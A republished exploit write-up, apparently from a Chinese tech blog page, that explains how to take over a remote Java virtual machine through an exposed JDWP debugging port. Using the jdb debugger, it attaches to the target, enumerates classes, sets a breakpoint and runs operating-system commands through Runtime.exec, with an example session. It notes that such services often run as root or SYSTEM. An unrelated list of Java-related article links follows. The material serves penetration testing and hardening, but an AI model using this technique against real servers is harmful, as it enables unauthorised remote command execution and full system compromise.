JDWP Arbitrary Java Code Execution Exploitation

简介: JDWP Arbitrary Java Code Execution Exploitation===============================================...
JDWP Arbitrary Java Code Execution Exploitation
===============================================
Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used for
communication between a debugger and a Java Virtual Machine (JVM) as outlined in
the Java Platform Debugger Architecture. It is often used to facilitate remote
debugging of a JVM over TCP/IP and can be identified by the initial protocol
handshake ascii string "JDWP-Handshake", sent first by the client and responded
to by the server. "jdb" is a proof-of-concept JDWP capable debugger included in
Oracle JDK and OpenJDK which can be used to interact with remote JDWP capable
services. Typically this service runs on TCP port 8000 however it can be found
to run on arbitrary TCP ports and is sometimes found enabled inadvertantly on
servers running Java services. It is possible to use this utility to exploit 
remote JVM's and execute arbitrary Java code. An example shown here outlines
how to leverage this weakness to execute arbitrary host OS commands in the
context of the JVM.

$ jdb -attach x.x.x.x:8000
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> 

Information leaks can be leveraged to determine details about the remote OS
platform and Java installation configuration through the "classpath" command.

> classpath
base directory: C:\Windows\system32
classpath: [ ** MASKED ** list of jar's loaded in remote JVM ]
bootclasspath: [ ** MASKED ** list of JRE paths ]
> 

jdb is capable of performing remote object creation and method invokation from
within the CLI using the "print" "dump" and "eval" commands with the "new"
keyword. To determine the classes and methods available use the "classes" and
then "methods" on the corrosponding class. 

> classes
...
java.lang.Runtime
...
> methods java.lang.Runtime
...
java.lang.Runtime exec(java.lang.String[])
...

It is often necessary to set the JDB context to be within a suspended thread or
breakpoint before attempting to create a new remote object class. Using the
"trace go methods" function can be used to identify a candidate for a breakpoint
and then "stop in your.random.class.method()" to halt the execution of a running
thread. When the execution is halted you can use "print new" to create your
class and invoke methods such as in the following example.

Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0
threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir")
new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502"
threadname[1] cont
> 

Exploitation success will be determined from the output of the JDB process as
functions returning "null" or errors about "unsuspended thread state" would
indicate that exploitation was unsuccessful, however in the example above we can
see that the java created a new object "java.lang.ProcessImpl@918502" indicating
the "cmd.exe /c dir" was executed with success. On Linux this may need adjusting
to "java.lang.Runtime.getRuntime().exec()" however see the method / class
enumeration when attempting to exploit this flaw.


Your java will be executed in the context of the running JVM application, this
has been identified on services running as both "root" (*nix) and "SYSTEM"
(win32) in the wild. 


 -- prdelka
目录
相关文章
POST 请求出现异常!java.io.IOException: Server returned HTTP response code: 400 for URL
POST 请求出现异常!java.io.IOException: Server returned HTTP response code: 400 for URL
895 0
|
2月前
|
搜索推荐 Java
JAVA排序之选择排序 带图和code
JAVA排序之选择排序 带图和code
18 0
JAVA排序之选择排序 带图和code
|
6月前
|
Java
【Java异常】ERROR: JDWP Unable to get JNI 1.2 environment, jvm->GetEnv() return code = -2 JDWP exit erro
【Java异常】ERROR: JDWP Unable to get JNI 1.2 environment, jvm->GetEnv() return code = -2 JDWP exit erro
73 0
|
8月前
|
缓存 NoSQL Redis
java.io.IOException: java.lang.RuntimeException: unable to find class for code 253
原因: 跟踪了一下所调用的底层接口,发现是redis缓存的问题,登录redis,刷新redis
43 0
|
10月前
|
Java C++ iOS开发
macos上VS Code上配置Python、Java、C++环境变量
macos上VS Code上配置Python、Java、C++环境变量
186 0
macos上VS Code上配置Python、Java、C++环境变量
|
10月前
|
Java C++
VS Code配置Java开发环境
VS Code配置Java开发环境
96 0
|
11月前
|
Java Spring
Java was started but returned exit code=13
Java was started but returned exit code=13
68 0
|
Java API 开发者
微软发布 Visual Studio Code Java 四月更新:支持 Java 18
微软发布 Visual Studio Code Java 四月更新:支持 Java 18
微软发布 Visual Studio Code Java 四月更新:支持 Java 18
|
Kubernetes IDE Cloud Native
微软公布 VS Code Java 2022 年路线图!
微软公布 VS Code Java 2022 年路线图!
158 0
微软公布 VS Code Java 2022 年路线图!
|
安全 Java API
微软发布面向 Java 开发者的 VS Code 更新路线图:改善开发体验、远程开发、安全性
微软发布面向 Java 开发者的 VS Code 更新路线图:改善开发体验、远程开发、安全性
128 0